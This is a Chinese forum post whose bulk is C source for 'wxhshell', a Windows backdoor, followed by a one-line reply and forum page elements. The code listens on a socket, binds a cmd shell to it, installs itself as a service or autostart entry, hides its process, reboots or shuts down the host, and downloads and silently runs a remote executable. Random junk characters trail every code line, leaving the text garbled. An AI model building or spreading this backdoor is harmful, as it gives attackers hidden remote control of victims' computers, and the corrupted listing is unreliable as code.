  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S67>yqha  
  if(DownloadFile(cmd,wsh)) 3pk `&'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /5 6sPl 7}  
  else ,CA3Q.y>|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]\Q9j7}37+  
  } >xJh!w<pB  
  else { mDJN)CX  
Xj("  
    switch(cmd[0]) { AEr8^6  
  !$5.\D  
  // 帮助 FF7  
  case '?': { >@wyiBU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?RVY%s;g  
    break; 6Om)e=gU/  
  } t;e+WZkV  
  // 安装 T.kQ] h2ZG  
  case 'i': { oD>j2 6Q  
    if(Install()) VL O !hA#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +9d]([Lx  
    else Y] "_}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |'" 17c&  
    break; @ATJ|5.gr  
    } )`B n"=  
  // 卸载 uy^vQ/  
  case 'r': { "ZU CYYre  
    if(Uninstall()) _yJAn\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ui$JQ_P  
    else ?YTngIa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H^N 5yOj/  
    break; DEcsFC/SK  
    } a2tRmil  
  // 显示 wxhshell 所在路径 :`w'}h7m  
  case 'p': { lyYi2& %  
    char svExeFile[MAX_PATH]; eH9Ofhsry  
    strcpy(svExeFile,"\n\r"); /<WK2G  
      strcat(svExeFile,ExeFile); b ?-VZA:  
        send(wsh,svExeFile,strlen(svExeFile),0); Q4vl  
    break; FJl_2  
    } N 2\lBi  
  // 重启 8kwe._&)  
  case 'b': { Bw;LGEHi|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]~H\X":[>  
    if(Boot(REBOOT)) oPPxja g\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |0e7<[  
    else { :xz,PeXo7  
    closesocket(wsh); gZLzE*NZ  
    ExitThread(0); 1<ic 5kB  
    } |JD"iP:  
    break; :s5wFumD  
    } q;<=MO/  
  // 关机 ,-GkP>8f(  
  case 'd': { Ja@zeD)f"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wQV[ZfU^h  
    if(Boot(SHUTDOWN)) eumpNF%$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E"l/r4*f@  
    else { 8r46Wr7Q  
    closesocket(wsh); |)pRkn8x  
    ExitThread(0); @ppT;9<d  
    } ^OWA   
    break; '!wI8f  
    } tDk!]  
  // 获取shell wVms"U.  
  case 's': { ^UEExj f  
    CmdShell(wsh); |{a`,%mw  
    closesocket(wsh); "7&DuF$s)  
    ExitThread(0); 9h$08l  
    break; jLZ^EM-  
  } c{X:0man  
  // 退出 lPywr TG0  
  case 'x': { [m9Iz!E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %Ct^{k~1  
    CloseIt(wsh); nGqD{!i<  
    break; O ^+H:Y|  
    } AsOkOS3  
  // 离开 5UgxuuP4  
  case 'q': { 8 o SNnT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \(db1zmS~  
    closesocket(wsh); xR`W9Z5  
    WSACleanup(); v3ky;~ke  
    exit(1); OdrnPo{  
    break; ?{Rv/np=F  
        } >&z=ktB  
  } =5v=<, ]  
  } */7+pk(  
Tt.#O~2:9  
  // 提示信息 {Hu@|Q\ ~&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <V~B8C!)  
} oY K(=j  
  } 'Cv>V"X: `  
Uf ?._&:  
  return; &I|\AG"X}  
} 'wg>=|Q5  
p!OCF]r  
// shell模块句柄 abW[hp  
int CmdShell(SOCKET sock) ruKm_j#J  
{ 8`{)1.d5[  
STARTUPINFO si; 'kC,pN{->  
ZeroMemory(&si,sizeof(si)); oieJ7\h]m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3;hztCZj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hN5?u:  
PROCESS_INFORMATION ProcessInfo; Us.")GiHE  
char cmdline[]="cmd"; ~mR@L`"l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t6+c"=P#  
  return 0; ]"2;x  
} !pqfx93R*  
XDtMFig  
// 自身启动模式 1[g -f ,  
int StartFromService(void) uSl&d  
{ u3B[1Ae:K  
typedef struct YXi'^GU@  
{ UBm L:Qv  
  DWORD ExitStatus; o^!_S5zKe.  
  DWORD PebBaseAddress; !'jZ !NFO  
  DWORD AffinityMask; XjRk1 ~  
  DWORD BasePriority; Biva{'[m  
  ULONG UniqueProcessId; RI[=N:C^  
  ULONG InheritedFromUniqueProcessId; A%[ BCY_  
}   PROCESS_BASIC_INFORMATION; s.#%hPX{  
|}-bMQ|  
PROCNTQSIP NtQueryInformationProcess; _-M27^\vV  
cOq'MDr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0'3f^Ajf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &&daQg4Ha  
P5K=S.g  
  HANDLE             hProcess; +}.~"  
  PROCESS_BASIC_INFORMATION pbi; vR)f'+_Nz  
s<XAH7?0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w!j'k|b>  
  if(NULL == hInst ) return 0; sMn)[k vX  
GI[TD?s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O?=YY@j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2I@d=T{K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $5]}]  
2I|`j^  
  if (!NtQueryInformationProcess) return 0; +I$,Y~&`>  
/F thT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Xv&&U@7  
  if(!hProcess) return 0; ;J>upI   
C$+z1z.!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d$H   
w wuM!Z+  
  CloseHandle(hProcess); 0aRHXc2<  
LJc"T)>$`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F4*ssx  
if(hProcess==NULL) return 0; 4x)etH^o  
P2!+ZJ&  
HMODULE hMod; 28! ke  
char procName[255]; L7`=ec<  
unsigned long cbNeeded; =] +owl2  
N8E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v:1DNR4  
3-PqUJT$   
  CloseHandle(hProcess); (6crWw{3  
#>ob1b|  
if(strstr(procName,"services")) return 1; // 以服务启动  81}JX  
+L,V_z  
  return 0; // 注册表启动 +7KRoF|  
}  ;H4s[#K  
x##0s5Qn  
// 主模块 Uk'bOp  
int StartWxhshell(LPSTR lpCmdLine) 1s_N!a  
{ P U2^4h/[`  
  SOCKET wsl; >lV'}0u)  
BOOL val=TRUE; Nrn_Gy>|D  
  int port=0; ;Zy[2M  
  struct sockaddr_in door; E Xxv  
;TC"n!ew  
  if(wscfg.ws_autoins) Install(); PNs*+/-S  
F+SqJSa  
port=atoi(lpCmdLine); 4~K%,K+Du  
LG+2?+tE"  
if(port<=0) port=wscfg.ws_port; 0 L$[w  
KSAE!+  
  WSADATA data; ;I/ A8<C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i,B<k 0W9  
dJjkH6%}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M-8`zA2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KjNA PfL  
  door.sin_family = AF_INET; _M) G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2j;9USZ p  
  door.sin_port = htons(port); %#<MCiaK  
|Zk2]eUO+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b]b+PK*h  
closesocket(wsl); ~JS BZ@  
return 1; h5Ee*D e  
} 6Qk[TL)t  
l86gs6>  
  if(listen(wsl,2) == INVALID_SOCKET) { DS1{~_>nFu  
closesocket(wsl); ]SmN}Iq1  
return 1; CUN1.i<pk8  
} .]e_je_  
  Wxhshell(wsl); .|e8v _2J  
  WSACleanup(); kW7$Gw]-  
4:9N]1JCb  
return 0; !T#EkMM  
1{A K=H')  
} jx{wOb~oO)  
|[)n.N65 =  
// 以NT服务方式启动 Y:R*AOx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ni85Ne$  
{ =<%[P9y  
DWORD   status = 0; 4nrn Npf`b  
  DWORD   specificError = 0xfffffff; EO`eg]  
?2%;VKN4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aD+4uGN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wJZuJ(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O.DO,]Uh  
  serviceStatus.dwWin32ExitCode     = 0; 3yrb7Rn3  
  serviceStatus.dwServiceSpecificExitCode = 0; /Nkxb&  
  serviceStatus.dwCheckPoint       = 0; *M ^ <oG  
  serviceStatus.dwWaitHint       = 0; G}Ko*:fWS  
f_2(`T#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K3iQ/j~aq  
  if (hServiceStatusHandle==0) return; X;1yQ |su  
Ms#rvn!J  
status = GetLastError(); p,.6sk  
  if (status!=NO_ERROR) aJ QzM  
{ fC".K Yjp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !nsx!M  
    serviceStatus.dwCheckPoint       = 0; %:v<&^oDlm  
    serviceStatus.dwWaitHint       = 0; ?>Ngsp>-P  
    serviceStatus.dwWin32ExitCode     = status; 2?{'(i ay  
    serviceStatus.dwServiceSpecificExitCode = specificError; nTl2F1(sV7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e%lxRN"b  
    return; =4$ErwI_dm  
  } %P7 qA  
r )HZaq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,{;*b v  
  serviceStatus.dwCheckPoint       = 0; guG&3{&\s  
  serviceStatus.dwWaitHint       = 0; TuEM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =I aWf  
} la}cGZ; p.  
f^ja2.*%?  
// 处理NT服务事件,比如:启动、停止 Eq%f`Qg+1E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^ L]e]<h(  
{ /J(vqYK"  
switch(fdwControl) wn;)La  
{ 2M*i'K;;)P  
case SERVICE_CONTROL_STOP: "BVp37 m;?  
  serviceStatus.dwWin32ExitCode = 0; ve+bR   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zW\s{  
  serviceStatus.dwCheckPoint   = 0; fTso[r:F.  
  serviceStatus.dwWaitHint     = 0; mPhu#oK'f  
  { ,5x#o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S@'%dN6e  
  } :..WL;gC  
  return; L6ap |u  
case SERVICE_CONTROL_PAUSE: VEpcCK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tY>Zy1hlI  
  break; v[2&0&!K#  
case SERVICE_CONTROL_CONTINUE: '#XT[\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9a @rsyX  
  break; sopf-g:  
case SERVICE_CONTROL_INTERROGATE: @mJ~?d95v  
  break; Mg2e0}{  
}; z)(W x">  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rx.v/H  
} L+*:VP6WD  
: 0 ,yq?M  
// 标准应用程序主函数 4BSqL!i(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $}.+}'7$  
{ KZTLIZxI-  
OLqV#i[K#9  
// 获取操作系统版本 &=x4M]t9L  
OsIsNt=GetOsVer(); jo^c>ur  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n\M8>9c  
Y!8FW|  
  // 从命令行安装 yIcTc  
  if(strpbrk(lpCmdLine,"iI")) Install(); B]H8^  
[_nOo`  
  // 下载执行文件 @TQ/Z$y  
if(wscfg.ws_downexe) { F}7sb#G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5.*,IedY  
  WinExec(wscfg.ws_filenam,SW_HIDE); lKB9n}P  
} l^d'8n  
>[Wjzg  
if(!OsIsNt) { lm 96:S  
// 如果时win9x,隐藏进程并且设置为注册表启动 =@0J:"c  
HideProc(); YVwpqOE.=  
StartWxhshell(lpCmdLine); )|vy}Jf7  
} s[sv4hq  
else 14" 57Jt8  
  if(StartFromService()) <zL_6Y2  
  // 以服务方式启动 3LT~- SvL  
  StartServiceCtrlDispatcher(DispatchTable); w|6/i/X  
else q" f65d4c  
  // 普通方式启动 vc&v+5Y  
  StartWxhshell(lpCmdLine); pY@QR?F\  
!6 L!%Oi  
return 0; Pmo<t6  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八